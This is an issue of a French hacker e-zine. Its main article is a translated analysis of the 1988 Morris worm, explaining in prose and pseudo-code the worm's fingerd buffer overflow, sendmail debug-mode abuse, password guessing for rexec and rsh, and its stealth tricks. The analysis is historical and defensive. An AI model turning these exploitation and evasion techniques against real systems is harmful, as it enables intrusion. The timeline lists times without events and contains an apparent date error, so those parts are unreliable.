Land
Of The FREE #07
|
Sommaire |
|
Edito |
Et voici le nouveau Lotfree!
le septieme du nom, on a beaucoup trainer pour le réaliser, manque
de temps et surtout d'inspiration. L'important c'était de faire un
digne successeur du dernier opus.
Un nouveau collaborateur a rejoins le "staff",
il s'agit de Flyers, welcome home ;) Sans lui, ce nouveau opus n'aurait
peut-être jamais exister. Merci à toi! Quant à sirius_black fidèle à ses habitudes :p , il nous a écris un article sur l'... HTTP, plus précisement sur le "Vol de session HTTP", un article trés complet. Le deuxième article est une traduction d'un article parlant du ver (worm) le plus connu: le Morris Worm un texte tout aussi complet que le précédent. Le troisième article inaugure une nouvel section dans ce mag: Toolz Armory; il s'agit de présenter un outil (un soft) qu'on apprécie ou qu'on souhaite améliorer, dans le cas échéant il s'agit de Lutz un "nmap-like". Enfin, le dernier article est une traduction d'un compte rendu d'un pentest (test d'intrusion). Et moi dans tout cela?! bein rien... :p Vous aurez peut-être remarquer que l'interface de ce numéro est la même que celle du Lotfree#05. En effet, on nous a reproché le manque de "finition" de l'interface du précédent numéro qui était un peu trop wonderland ;) Qui sait! c'est peut-être pour ça que notre mag n'est pas sur madchat MDR OS4M4CKERS[chez]imel[point]org |
A Tour of the Worm |
Donn Seeley EXTRAIT
Table des matières
Le 3 novembre 1988 allait devenir le Jeudi Noir. Les
administrateurs système de tout le pays venaient pour travailler
et découvrirent ce jour là que leurs réseaux d'ordinateurs
étaient soumis à de forts traitements. S'ils parvenaient
à s'identifier et à générer un statut du
système, ils voyaient une douzaine ou une centaine de processus
de "shell" (interpréteur de commande). S'ils essayaient
de tuer les processus, ils s'apercevaient que de nouveaux processus
apparaissaient plus vite qu'ils ne pouvaient les tuer. Redémarrer
l'ordinateur n'avait pas plus d'effet : au bout de quelques minutes
la machine était à nouveau surchargée par ces mystérieux
processus.
Ces systèmes avaient été envahis par un ver. Un ver et un programme qui se propage tout seul sur un réseau, utilisant les ressources d'une machine pour en attaquer une autre (Un ver n'est pas tout à fait similaire à un virus qui est un fragment de programme qui s'insère dans d'autres programmes). Le ver profitait de trous dans la sécurité de systèmes qui utilisaient BSD UNIX 4.2 ou 4.3 ou des dérivés comme SunOS. Ces trous lui permettait de se connecter aux machines d'un réseau, de contourner leur authentification, de se reproduire (se recopier) puis d'attaquer toujours plus de machines. Les chargements massifs étaient dû aux multitudes de vers qui essayaient de propager l'épidémie. L'Internet n'avait jamais été attaqué de cette façon auparavant, bien qu'il y avait beaucoup de chance pour qu'une telle attaque soit en préparation. La plupart des administrateurs n'étaient pas familiers avec le concept de ver (à l'opposé des virus, qui sont une plus grande menace au monde des PCs) et il leur a fallu du temps avant qu'ils comprennent ce qui se passait et comment gérer ça. Le but de ce document est d'expliquer aux gens ce qui s'est passé et comment cela est arrivé, afin qu'ils soient mieux préparés lorsque cela se reproduira. Le comportement du ver sera étudié en détail, à la fois pour montrer exactement ce qu'il faisait et ne faisait pas et aussi pour montrer les dangers des futurs vers. Comme les informations sont bien connues, que des milliers d'ordinateurs possèdent leurs copies du vers, il semble improbable que ce document puisse causer des dommages, même si cela reste troublant. Les opinions sur le sujet et les autres problèmes seront offertes plus tard.
Beaucoup de détails sur la chronologie des attaques ne sont pas encore disponibles. La liste suivante représente la date et l'heure des différents évènements connus.
2/11 à 18 : 24
2/11 à 19 : 04
2/11 à 19 : 54
2/11 à 20 : 00 (approximatif)
2/11 à 20 : 28
2/11 à 20 : 40
2/11 à 20 : 49
2/11 à 21 : 09
2/11 à 21 : 21
2/11 à 21 : 41
2/11 à 22 : 01
2/11 à 22 : 06
2/11 à 22 : 20
2/11 à 22 : 49
2/11 à 23 : 21
2/11 à 23 : 28
3/11 à 00 : 34
3/11 à 02 : 54
3/11 tôt la matin
3/11 à 05 : 07
3/11 à 09 : 00
3/11 à 15 : 00 (approximatif)
3/11 à 16 : 26
3/11 à 18 : 00 (approximatif)
3/11 à 19 : 18
4/11 à 06 : 00
4/11 à 12 : 36
4/11 à 17 : 00 (approximatif)
8/11
11/11 à 00 : 38
Que faisait exactement le ver pour provoquer une telle épidémie ? Le ver est composé d'une routine d'amorçage (bootstrap en Anglais. C'est la partie du ver qui est exécutée et qui se charge de placer une copie du ver sur les machines infectées) de 99 lignes écrites en langage C, plus un gros fichier objet qui change selon la plate-forme (VAX ou Sun-3). De toute évidence ce fichier objet a été généré à partir de sources en C, il était donc naturel de décompiler le langage machine en C ; nous avons maintenant plus de 3200 lignes de code C commenté qui peut se recompiler et qui est quasi-complet. Nous sommes obligés de commencer l'étude du ver par une rapide vue d'ensemble des objectifs du ver, suivi d'une discussion en profondeur sur les différents comportements du ver révélés lors de la décompilation. Les activités du ver se divisent en deux catégories : l'attaque et la défense. L'attaque consiste à trouver des machines (et des comptes) à pénétrer, puis à exploiter des trous de sécurité sur des machines distantes pour y placer une copie du ver et la mettre en marche. Le ver obtient des noms d'hôtes en regardant dans les fichiers système /etc/hosts.equiv et dans /.rhosts, dans les fichiers des utilisateurs comme le .forward et rhosts, en analysant les données de routage dynamique produites par le programme netstat et enfin en générant des adresses IP aléatoires sur le réseau local. Il les classe par ordre de préférence, commençant d'abord par le fichier /etc/hosts.equiv parce qu'il contient des noms de machines locales qui sont susceptibles d'accepter des connexions sans authentification. La pénétration d'un système distant peu s'effectuer d'une des trois façons suivantes. Le ver peut profiter d'un bug dans le serveur finger qui lui fera télécharger le code malveillant puis le lui faire exécuter. Le ver peut utiliser une brèche dans le service de messagerie SMTP sendmail, lui faire exécuter des commandes dans un shell et télécharger le code à travers une connexion mail. Si le ver pénètre un compte local en devinant son mot de passe, il peut utiliser les services de commande à distance rexec et rsh pour attaquer des machines qui partagent le même compte. Dans tous les cas, le ver s'arrange pour obtenir un shell distant qu'il utilisera pour se propager, se compiler et exécuter la routine de 99 lignes. Cette routine établie sa propre connexion avec le ver local afin de récupérer les différents fichiers dont elle a besoin, et en regroupant ces différents morceaux un nouveau ver est créé et la procédure d'infection recommence encore et encore. Les tactiques de défense se classent en trois catégories : empêcher la détection de l'intrusion, interdire l'analyse du programme et identifier les autres vers. La méthode la plus simple pour le ver de se cacher est de changer son nom. Quand il se déclenche, il efface sa liste d'arguments (argv) et fixe l'argument numéro zéro à sh, le faisant passer pour un innocent interpréteur de commande. Il utilise la commande fork() pour changer son PID, et ne reste jamais très longtemps avec le même ID. Ces deux tactiques ont pour objectif de camoufler la présence du ver dans les listings d'état du système (logs, etc.) Le ver essaie de laisser le moins de traces possibles, au démarrage il met en mémoire tous les fichiers dont il a besoin et efface les copies qui pourraient révéler sa présence. Il empêche aussi la génération de fichiers core, si bien que si le ver plante, il ne laisse pas de preuve de son passage à travers la présence de dumps core. Cette dernière tactique est aussi crée pour empêcher l'analyse du programme : cela empêche un administrateur d'envoyer un signal qui forcerait le programme à générer un fichier core. Cependant il y a d'autres méthodes d'obtenir un fichier core, si bien que le ver remplace minutieusement certains octets en mémoire (des caractères) pour être extrait plus difficilement. Les copies sur le disque sont encodées en répétant un xor sur une séquence de 10 octets ; les chaînes de caractères static sont encodées octets après octets en effectuant un xor avec la valeur hexadécimale 0x81, à l'exception d'une liste privée qui est encodée avec le code hexadécimal 80. Si les fichiers du ver sont toutefois capturés avant que le ver ne les ai effacés, les fichiers objets ont été chargé de telle façon que la plupart des entrées non essentielles de la table des symboles ont été effacées, empêchant de comprendre le rôle d'une routine en se basant sur son nom. Le ver fait aussi un effort trivial pour stopper les programmes qui voudraient profiter de ses communications ; en théorie un site bien attaqué peut empêcher l'infection en envoyant un message aux ports sur lequel le ver écoute, si bien que le ver fait bien attention à tester les connexions en établissant un court échange de "chiffres magiques" aléatoires. Quand on étudie un programme malicieux comme celui-là, il est tout aussi important de faire la liste de ce qu'il ne fait pas que la liste de ce qu'il fait. Ce ver n'efface pas de fichiers systèmes : il efface juste les fichiers qu'il a crée durant le processus d'amorçage. Ce programme ne tente pas de mettre hors d'état de marche le système en supprimant des fichiers importants. Il n'efface pas les fichiers de log ou ne va pas perturber d'opérations normales si ce n'est en consommant des ressources systèmes. Le ver n'altère pas de fichiers existants : ce n'est pas un virus. Le ver se propage en se copiant et en se compilant lui-même sur chaque système ; il ne modifie aucun programme pour parvenir à ce résultat. A cause de sa méthode d'infection, il ne possède pas les privilèges suffisant qui lui permettraient de modifier des programmes. Le worm n'installe pas de chevaux de Troie : sa méthode d'attaque est uniquement active, il n'attend jamais qu'un utilisateur tombe dans un piège. Une partie de la raison pour laquelle il n'installe pas de troyen est qu'il ne peut pas se permettre de perdre son temps à attendre l'exécution d'un exécutable par l'utilisateur - il doit se reproduire avant qu'il soit découvert. Enfin, le ver ne transmet, ni n'enregistre les mots de passes décryptés : sauf pour sa liste statique de ses passwords préférés, le ver ne passe pas les mots de passes crackés à de nouveaux vers ni ne les renvoie vers une machine centrale. Cela ne veut en aucun cas dire que les comptes pénétrés par le ver sont sûr simplement parce que le ver n'a communiqué les passwords à personne, évidemment, si le ver peut deviner le mot de passe d'un compte alors des personnes pourront certainement le faire. Le ver n'essaye pas de récupérer les privilèges du super utilisateur : alors qu'il fait tout pour pénétrer des comptes, il n'a a aucun moment besoin des privilèges particuliers pour se propager, et ne fait aucun usage spécial de ces privilèges même s'il les obtient. Le ver ne se propage pas à travers uucp, x.25, DECNET ou BITNET : il requiert spécifiquement TCP/IP. Le worm n'infecte pas de systèmes System V à moins qu'ils aient été modifié pour utiliser les programmes réseaux de Berkeley comme sendmail, fingerd et rexec. Passons maintenant aux détails : nous devons suivre le fil principal du ver puis examiner les structures de données avant d'étudier chaque phase séparément. Quand le ver commence son exécution dans le main(), il fait bien attention aux initialisations, aux moyens de défense et de camouflage. La toute première opération qu'il effectue est de changer son nom en sh. Il réduit le temps durant lequel le ver est visible en changeant le nom de son processus en un nom étrange comme x9834753. Il initialise alors le générateur de nombres aléatoires, en s'appuyant sur l'heure courante, désactive les core dumps, et s'arrange pour mourir quand une connexion distante échoue. Une fois tout ceci effectué, le ver gère la liste de ses arguments. Il commence par rechercher l'option -p $$, où $$ représente l'ID de son processus père ; cette option indique au ver qu'il doit prendre soin de s'effacer plus tard. Il lit alors chacun des fichiers qui lui ont été passé en argument ; si l'option précédente est activée, il efface chaque fichier qu'il vient de lire. Si le ver n'a pas récupéré le fichier source d'amorçage l1.c comme argument, il se termine silencieusement ; c'est probablement un moyen de ralentir les personnes qui sont en train d'étudier le ver. Si l'effacage des traces est activé, le ver ferme alors ses descripteurs de fichier, se coupant momentanément de son ver père distant, et efface certains fichiers. (Un de ceux-ci, /tmp/.dumb, n'est à aucun moment crée par le ver, cette suppression semble venir d'une version précédente du ver, et n'aurait pas été retirée du programme.) Le ver met alors sa liste d'arguments à zéro, là encore pour contrecarrer le programme de statut système ps. L'étape suivante est l'initialisation de la liste des interfaces réseaux du ver ; ces interfaces sont utilisées pour trouver des réseaux locaux et chercher des adresses alternatives pour la machine en court. Enfin, si l'option -p est passée, le ver re-initialise son groupe de processus et tue les processus qui l'ont aidé à se lancer. La dernière action qu'effectue le ver dans la fonction main() est d'appeler une fonction que nous avons nommé doit(), qui contient la boucle principale du ver. doit() { lance le générateur de nombres aléatoires en se basant sur l'heure attaque de machines : gateways, réseaux locaux, réseaux externes checkother(); send message(); for(;;) { cracksome(); other_sleep(30); cracksome(); changement de l'identifiant de processus attaque de machines : gateways, hôtes connus, réseaux distants, réseaux locaux other_sleep(20); if (12 heures se sont passés) vider la liste des machines if (pleasequit && nextw > 10) exit(0); } } Pseudo code "C" pour la fonction doit() doit() lance un court prologue avant d'entrer dans la boucle principale. Il fixe (inutilement) le générateur de nombres aléatoires avec l'heure courante, tout en sauvant l'heure afin qu'il puisse déterminer depuis combien de temps il tourne. Le ver commence alors sa première infection. Il attaque tout d'abord les passerelles (gateways) qu'il a trouvé avec la commande de surveillance réseau netstat ; s'il ne parvient pas à infecter l'une de ces machines, alors il cherche des machines sur le réseau local avec un numéro d'hôte aléatoire, ensuite il fait la même chose mais avec les machines se trouvant de l'autre côté de la passerelle, dans tous les cas il s'arrête dès qu'il a trouvé une machine. (Remarquez que cette séquence d'attaque diffère de la séquence utilisée par le ver une fois que ce dernier est entré dans la boucle principale.) Après ces premières tentatives d'infection, le worm appelle la routine checkother() pour vérifier qu'un autre ver ne se trouve pas sur la machine locale. Dans cette routine le ver agit comme un client qui communique avec un ver préexistant qui joue le rôle de serveur ; ils peuvent alors s'échanger des messages de "contrôle de la population" après quoi l'un des deux vers va éventuellement s'éteindre. Une routine étrange est lancée juste avant d'entrer dans la boucle principale. Cette routine que nous avons appelé send_message() n'envoie en fait rien du tout. Il semblerait quelle soit faite afin qu'une copie du ver sur 15 envoie un datagramme de 1 octet sur un port de la machine ernie.berkeley.edu, qui est localisée à l'UC Berkeley, au Computer Science Department. Il a été suggéré que ceci n'était qu'une feinte désignée à faire porter l'attention sur ernie, et non sur la véritable machine de l'auteur. Puisque la routine a un bug (elle met en place un socket TCP mais essaye d'envoyer un paquet UDP), rien n'est envoyé au final. Il est aussi possible que cela soit une feinte plus recherchée, destinée à être découverte seulement par les décompileurs ; si cela était le cas, ce ne serait pas le seul obstacle que l'auteur a délibérément placé sur notre chemin. Dans tous les cas, les administrateurs de Berkeley n'ont détecté aucun processus écoutant sur le port 11357 de ernie, et nous n'avons trouvé aucun code dans le ver qui écoute sur ce port, indépendamment de la machine. La boucle principale débute avec l'appel à une fonction que nous avons baptisé cracksome() pour le cassage de mots de passe. Le cassage de mots de passe est une activité que le ver fait constamment et de manière incrémentale. Il fait une pause de 30 secondes pour voir s'il y a des copies du ver qui se sont introduites sur la machine locale, et puis retourne au cracking. Ensuite il fork (crée un nouveau processus fonctionnant comme une copie du même ver) et l'ancien processus se termine ; cela sert à changer les numéros d'I.D. des processus et de rendre plus difficile la découverte du ver avec la commande d'information système ps. Le ver retourne alors à l'étape d'infection, en essayant (par ordre de préférence) les routeurs, les machines présentes dans un fichier comme /etc/hosts.equiv, les hôtes aléatoires de l'autre côté du routeur et ceux des réseaux locaux. Comme précédemment, s'il parvient à infecter une nouvelle machine, il marque cette machine dans une liste et arrête l'infection pour le moment. Après l'infection, le ver passe deux minutes pour regarder une nouvelle fois s'il n'y a pas de nouvelles copies du ver ; cela est fait parce qu'un nouvel hôte distant infecté peut essayer de réinfecter l'hôte local. Si 12 heures se sont passées et que le ver est toujours actif, il suppose qu'il n'a pas eu de chance car des machines ou des réseaux devaient être hors service ou éteints, et il réinitialise sa table d'adresses si bien qu'il peut reprendre au début. A la fin de la boucle principale le ver regarde s'il peut mourir en fonction des résultats de contrôle de la population, et si c'est le cas, et s'il a obtenu une quantité suffisante de mots de passe cassés, il quitte. Le ver maintient au moins quatre structures de données intéressantes, et chacune est associée à un ensemble de routines. La structure object est utilisée pour contenir des copies de fichiers. Les fichiers sont encryptés en utilisant la fonction xorbuff() au moment où ils sont en mémoire, si bien qu'un dump du ver ne révèle rien d'intéressant. Les fichiers sont copiés sur le disque du système distant avant de commencer un nouveau worm, et les nouveaux worms mettent ces fichiers en mémoire et suppriment les copies du disque comme tâche de démarrage. Chaque structure contient un nom, une longueur et un pointeur vers un buffer. La fonction getobjectbyname() récupère un pointeur vers une structure d'objet nommée ; pour différentes raisons, elle n'est appelée que pour lancer le fichier source d'amorçage. La structure interface contient des informations sur la configuration des interfaces réseaux de la machine en cours. Cela est principalement utilisé pour trouver des réseaux locaux. Cette structure est composée d'un nom, d'une adresse réseau, d'un masque de sous réseau et de quelques flags. La table des interfaces est initialisée une fois au démarrage. La structure host est utilisée pour garder une trace des statuts et des adresses des machines. Les machines sont ajoutées dynamiquement à cette liste, au fur et à mesure que le ver rencontre de nouvelles sources de noms d'hôtes et d'adresses. Cette liste peut être explorée à la recherche d'une adresse ou d'un nom particulier, avec une option pour insérer une nouvelle entrée si la recherche n'a rien donnée. Les bits d'indication (flags) sont utilisés pour indiquer si l'hôte est une passerelle, s'il a été trouvé par l'intermédiaire d'une table système comme /etc/hosts.equiv, si le ver a considéré pour différentes raisons que cette machine était impossible à attaquer, et si l'hôte a déjà été infecté avec succès. Les bits pour "infection impossible" et "infecté" sont effacés toutes les 12 heures, et les hôtes à faible priorité sont effacés pour être à nouveau accumulés plus tard. La structure peut contenir jusqu'à 12 noms (alias) et jusqu'à 6 adresses réseaux distinctes pour chaque machine. Dans nos sources, ce que nous avons appelé la structure muck (saleté, saloperie, cochonnerie) est utilisée pour garder trace des comptes dans un but de cracking de passwords. (Nous lui avons décerné le nom muck pour des raisons sentimentales, bien que pw ou act auraient été plus parlant.) Chaque structure contient un nom de compte, un password crypté ou décrypté (si possible) plus le répertoire personnel de l'utilisateur (home directory) ainsi que des informations personnelles tirées du fichier password. 4.3 Croissance de la population (Propagation) Le ver possède un mécanisme qui semble avoir été crée pour limiter le nombre de copies du ver qui tournent sur un système donné, mais en dehors de cela notre compréhension de pourquoi ce ver a été crée est limitée. Cela n'empêche évidemment pas la surcharge d'un système bien que cela accélère de manière évidente l'infection pour rendre les premières copies indétectables. Il a été suggéré qu'une simulation des fonctions de contrôle de la population du ver pourrait révéler plus de détails sur sa création et nous serions intéressé d'écrire un papier sur une telle simulation. Le ver utilise une technique client-et-serveur pour contrôler le nombre de copies exécutées sur la machine courante. Une routine checkother() est appelée au démarrage. Cette fonction essaye de se connecter à un serveur en écoute sur le port TCP 23357. La tentative de connexion retourne immédiatement si aucun serveur n'est présent, mais se bloque si un est disponible ou occupé ; un ver serveur lance régulièrement son code serveur pendant les opérations qui prennent du temps si bien que la queue des connexions n'augmente jamais beaucoup. Une fois que le client a échangé des nombres magiques (magic numbers) avec le serveur sous la forme d'une authentification triviale, le client et le serveur jouent à la courte paille pour déterminer qui survivra. Un ou-exclusif entre les bits de poids faibles respectif des nombres aléatoires du client et du serveur est effectué. Si le résultat vaut 1 le serveur est gagnant, dans le cas contraire le client sort vainqueur. Le perdant active son drapeau (flag) pleasequit qui lui permet éventuellement de quitter en fin de boucle principale. Si à un moment un problème survient - une lecture du serveur échoue, ou qu'un mauvais nombre magique est retourné - le ver client quitte la fonction, devenant un ver qui n'agira jamais en tant que serveur et en conséquence ne s'implique pas dans la croissance de la population. Un test est effectué au tout début de la fonction pour détecter un éventuel serveur cataleptique. Après ce test 1 ver sur 7 abandonne le contrôle de la population. De cette manière le ver achève le jeu de population dans checkother() dans l'un de ces trois états : programmé pour mourir après un certain temps, avec le drapeau pleasequit activé ; fonctionnant en tant que serveur avec la possibilité de perdre le jeu ultérieurement ; et immortel, à l'abris des dangers du contrôle de la population. Une routine complémentaire, other_sleep(), exécute la fonction de serveur. Cette fonction utilise l'appel système select() de Berkeley comme chronomètre et accepte durant un laps de temps de quelques secondes les connections venant des clients. Au début de la fonction il vérifie s'il dispose d'un port de communication avec lequel accepter des connexions, si ce n'est pas le cas, il laisse passer le laps de temps prédéfini et retourne. Dans le cas contraire il boucle sur select(), diminue le temps restant après qu'il ai servi un client jusqu'à ce qu'il ne reste plus de temps et que le ver retourne. Quand le serveur obtient un client, il effectue l'inverse du protocole client, décidant éventuellement s'il doit continuer ou quitter. other_sleep() est appelé à partir de beaucoup d'endroits différents du code, si bien que les clients n'attendent jamais bien longtemps. Au vu du système élaboré du ver à contrôler la réinfection, qu'est ce qui le rend si rapide à se reproduire sur une machine au point de la submerger ? Un des coupables est le test du "1 sur 7" dans checkother() : les vers qui sautent la phase de client deviennent immortels, et ainsi ne risquent pas de disparaître lors du duel. Une autre cause de surcharge de la mémoire est le fait que quand un ver décide qu'il a perdu, il peut encore effectuer beaucoup de taches avant de réellement quitter. La routine du client n'est même pas lancée jusqu'à ce que le ver nouveau-né tente d'infecter au moins une machine distante, et même si le ver perd le duel, il continue de s'exécuter à la fin de la boucle principale, et là encore il ne quitte pas tant qu'il n'a pas fait le tour de la boucle plusieurs fois, étant bloqué dans le cassage des mots de passes. Enfin, les nouveaux vers perdent tout l'historique des infections réalisées par leurs parents, si bien que les enfants d'un ver sont constamment en train d'essayer de réinfecter les machines de leur père, ainsi que les enfants d'autres vers. Si on rassemble toutes ces données il n'y a en fait aucune surprise qu'au bout de une ou deux heures d'infections, une machine soit entièrement dévouée la l'exécution des vers. 4.4 La recherche de nouvelles machines à infecter Une des caractéristiques du ver est que toutes ses attaques sont actives, jamais passives. Par conséquent le ver n'a jamais à attendre qu'un utilisateur vienne le lancer sur une autre machine contrairement à la plupart des Chevaux de Troie - il doit chercher des ordinateurs par ses propres moyens. Le ver dispose d'une liste bien distincte de priorités quand il fait la chasse aux machines. Ses victimes préférées sont les passerelles ; la fonction hg() essaie d'infecter toutes les machines qu'elle suppose être des passerelles. C'est seulement une fois que toutes les passerelles sont considérées comme étant soit infectées soit inattaquables que le ver s'en prend à d'autres hôtes. hg() appelle la fonction rt_init() qui lui donne une liste de passerelles ; cette liste a été générée à partie du résultat de la commande de surveillance réseau Netstat. Le ver prend bien soins de sauter le loopback ainsi que les interfaces réseau locales (dans le cas où la machine en cours est un routeur) ; il mélange ensuite aléatoirement la liste et ajoute les 20 premiers routeurs au tableau des machines afin d'accélérer les recherches initiales. Il teste alors chaque routeur dans l'ordre jusqu'à ce qu'il trouve un hôte qu'il puisse infecter, où qu'il n'ai plus d'hôtes à disposition. Après avoir pris soin des routeurs, la priorité suivante du ver concerne les machines trouvées en scannant les fichiers systèmes. Au début du cassage de mot de passes, les fichiers /etc/hosts.equiv (qui contient le nom des machines qui peuvent se connecter à la machine locale sans authentification) et /.rhosts (qui contient les noms de machines auxquelles sont accordées certains privilèges de login) sont examinés, tout comme les fichiers .forward de chaque utilisateur (qui donnent la liste de toutes les machines auxquelles un mail est retransmis). Ces hôtes sont marqués (drapeau) de telle façon qu'ils puissent être scannés avant les autres. La fonction hi() se charge alors d'attaquer ces machines. Une fois que les machines les plus rentables ont été utilisées, le ver commence à chercher les machines qui ne sont pas recensées dans des fichiers. La routine hl() étudie les réseaux locaux : elle teste les adresses des machines locales, en concaténant l'adresse du réseau avec une valeur aléatoire. ha() effectue la même tâche pour les machines externes, à la recherche d'adresses alternatives aux passerelles. Un code spécial gère la règle d'ARPAnet qui consiste à mettre le chiffre IMP dans les bits de poids faible de l'adresse et le port IMP actuel de la machine dans les bits de poids fort de l'adresse. Une fonction qui effectue différentes "enquêtes" aléatoires et que nous avons nommé hack_netof(), semble posséder un bug qui empêche le ver d'attaquer des machines sur les réseaux locaux ; cela peut bien sûr être dû à une mauvaise interprétation de notre part, mais dans tous les cas la recherche de machines à travers les fichiers systèmes devrait être suffisante pour couvrir toutes ou presque toutes les machines locales. Le cassage de password est un autre générateur de nom de machines, mais comme il est traité séparément de l'habituel plan d'attaque présenté ici, le sujet sera étudié plus loin avec les autres calculs concernant les mots de passes.
Cette section traite des services TCP utilisés par le ver pour pénétrer des systèmes. Il est injuste d'utiliser la citation précédente alors que l'implémentation des services que nous allons étudier a été distribuée par Berkeley plutôt que Bell Labs, mais le sentiment est tout à fait approprié. Pendant très longtemps la balance entre la sécurité et la facilité d'utilisation des systèmes Unix a penchée en faveur de la facilité d'utilisation. Comme Brian Reid l'a dit à propos de l'intrusion de Stanford il y a deux ans : "La commodité accordée à un programmeur va à l'encontre de la sécurité, parce que cette commodité devient celle de l'intrus si le compte du programmeur est compromis." La leçon tirée de cette expérience semble être oubliée par la plupart des personnes, mais pas par l'auteur du worm.
Rsh et rexec sont des services réseau qui offrent des interpréteurs de commande à distance. Rexec utilise une authentification par mot de passe ; rsh s'appuie sur des fichiers décrivant les connexions entrantes privilégiées et leurs permissions. Deux vulnérabilités sont exploitées par le ver - la probabilité qu'une machine distante qui possède un compte similaire à un compte local possède aussi le même password, permet l'infiltration par le biais de rexec, et la probabilité qu'un tel compte distant inclura la machine locale dans ses fichiers de droits rsh. Ces deux vulnérabilités sont vraiment des problèmes de laxisme ou de confort des utilisateurs et sont dues à l'administrateur système et non à un bug actuel, mais elles doivent être prises comme des facteurs d'infection tout comme une faille de sécurité involontaire. La première utilisation de rsh faite par le ver est très simple : il recherche un compte distant avec le même nom que celui qui est (secrètement) en train de faire tourner le ver sur la machine locale. Ce test fait partie du plan standard de piratage effectué pour chaque hôte ; si il échoue, le ver laisse la place à finger, puis sendmail. Beaucoup de sites comme Utah étaient déjà protégés contre cette attaque triviale en ne fournissant pas de shells distants à des pseudo-utilisateurs comme daemon ou nobody. Une utilisation plus sophistiquée de ces services est faite dans la procédure de cassage de mots de passe. Une fois qu'un password est découvert, le ver essaie aussitôt de s'introduire chez l'hôte où se trouve le compte cassé. Il lit alors le fichier .forward de l'utilisateur (qui contient les adresses vers lesquelles les mails sont relayés) ainsi que son fichier .rhosts (qui contient la liste des machines, et optionnellement les noms d'utilisateurs sur ces machines, qui ont un droit d'accès à la machine locale avec rsh sans avoir à passer par l'habituelle saisie de mot de passe), essayant chacune de ces machines jusqu'à ce qu'il réussisse à s'y introduire. Chaque cible est attaquée de deux manières différentes. Le ver contacte d'abord le serveur rexec de l'hôte distant et lui donne le nom du compte qu'il a trouvé dans le fichier .forward ou le fichier .rhosts suivit du password qu'il a cassé auparavant. Si cela échoue, le ver se connecte au serveur rexec local avec le nom d'utilisateur local et contacte le serveur rsh de sa cible. Le serveur rsh distant va permettre la connexion si le nom de la machine qui vient de se connecter apparaît dans le fichier /etc/hosts.equiv ou dans le fichier privé .rhosts de l'utilisateur. Renforcer la sécurité de ces services réseaux est bien plus problématique que fixer un bug de finger ou sendmail, malheureusement. Les utilisateurs n'aiment pas être obligé de taper leurs passwords quand ils se connectent à une machine de confiance et, de même, ils n'aiment pas avoir à se souvenir des mots de passes qu'ils utilisent pour chaque machine auxquelles ils ont à se connecter. Certaines solutions peuvent s'avérer catastrophique, ainsi un utilisateur qui gère trop de mots de passe est suspectible de les noter quelque part.
Le hack probablement le plus ingénieux dans le worm est le fait qu'il utilise le service TCP finger comme alternative pour pénétrer un système. Finger fait le compte-rendu des utilisateurs d'une machine, en signalant habituellement des détails comme le nom complet de l'utilisateur, où se trouve son bureau, le numéro de son extension de téléphone etc. La version de Berkeley (3) du serveur finger est un programme vraiment trivial : il lit la requête demandée par l'ordinateur connecté puis lance le programme local finger en lui passant cette même requête en argument, il renvoie ensuite le résultat de ce programme. Malheureusement le serveur finger lit la requête en utilisant gets(), une routine de la librairie C Standard, qui date de l'ère des temps et qui ne vérifie pas que les 512 octets de mémoire réservés sur la pile pour la requête ne sont pas débordés. Le ver fournit au serveur finger une requête de 536 octets de longueur, la plus grosse partie de la requête est du code machine VAX qui demande au système d'exécuter l'interpréteur de commande sh et les 24 octets supplémentaires représentent juste ce qu'il faut pour écraser la stack frame (correspond à l'environnement d'une fonction avec ses paramètres, ses variables locales, l'ancien environnement...) de la routine principale du serveur. Quand la routine principale du serveur quitte, le pointeur de retour vers la fonction appelante est supposé être restauré à partir de la pile, mais le ver y a écrit une adresse qu'il a choisi et qui pointe vers le code VAX situé dans le buffer. Le programme saute sur le code du ver et lance l'interpréteur de commande, dont le ver se sert pour placer sa routine de démarrage. Il n'a pas été étonnant de voir, peu après l'annonce faite sur l'utilisation de cette caractéristique de gets() par le ver, bon nombre de personnes remplacer toutes les instances de gets() dans leur code système par une version qui vérifiait la taille du buffer. Certains sont même aller jusqu'à retirer gets() de la librairie, bien que la fonction soit apparemment mandaté par le standard ANSI C à venir (4). Jusque ici personne n'avait prétendu avoir été victime du bug dans le serveur finger avant l'incident du worm, mais en Mai 1998, des étudiants de l'UC Santa Cruz auraient apparemment passé des sécurités en utilisant un serveur finger différent, mais avec un bug similaire. L'administrateur système de l'UCSC remarqua que le serveur finger de Berkeley possédait un bug semblable et envoya un mail à Berkeley, mais la gravité du problème n'a pas été prise à sa juste valeur à ce moment là (Jim Haynes, private communication). Note additionnelle : le ver est méticuleux pour certaines choses mais ne l'est pas pour d'autres. D'après ce que nous pouvons dire, il n'y avait pas de version de l'intrusion par finger pour Sun-3 bien que le serveur Sun-3 était tout aussi vulnérable que celui de VAX. Peut-être que l'auteur disposait des sources VAX mais pas des sources Sun ?
L'attaque sendmail est probablement la plus délaissée dans l'arsenal du ver, mais cela n'a pas empêché qu'un site en Utah ait été sujet à environ 150 attaques sendmail le Jeudi Noir. Sendmail est le programme qui fournit le service mail SMTP sur les réseaux TCP pour les systèmes Berkeley UNIX. Il utilise un protocole simple en texte pur pour accepter des mails venant de sites distants. Une des caractéristiques de sendmail est qu'il permet de distribuer les messages à des processus plutôt qu'aux fichiers de boîtes de messageries ; cela peut être utilisé par (disons) le programme de vacances qui informe les expéditeurs que vous êtes en vacances et que vous êtes temporairement dans l'incapacité de répondre à leurs messages. Normalement cette fonction n'est disponible que pour les destinataires. Malheureusement, une petite ouverture a accidentellement été crée quand deux anciennes failles de sécurité ont été fixé - si sendmail est compilé avec l'option DEBUG, et que à l'exécution l'expéditeur demande à sendmail de passer en mode debug en lui envoyant la commande debug, il accorde à l'expéditeur le droit de passer une séquence de commandes à la place d'un nom d'utilisateur comme destinataire. Hélas, la majorité des versions de sendmail sont compilées avec DEBUG, entre autres celle que Sun expédie dans sa version binaire. Le ver imite une connexion SMTP à distance, remplissant le champ nom de l'expéditeur par /dev/null et en prenant soins de placer une chaîne malicieuse comme destinataire. Cette chaîne lance une commande qui efface l'en-tête du message et passe le corps à un interpréteur de commande. Le corps contient une copie de la source de la routine de démarrage du ver ainsi que les commandes nécessaires à sa compilation et à son exécution. Une fois que le ver en a fini avec le protocole et a fermé la connexion avec sendmail, le code de démarrage sera fabriqué sur l'hôte distant et le ver local attend sa connexion afin qu'il puisse compléter le processus de fabrication du nouveau ver. Bien sûr ce n'est pas la première fois qu'une inadvertante brèche ou "trappe" comme celle-là est trouvée dans sendmail, et ce ne sera probablement pas la dernière. Dans sa conférence "Turing Award", Ken Thompson a dit : "Vous ne pouvez faire confiance à du code que vous n'avez pas totalement crée vous-même (Spécialement le code d'entreprises qui emploient des 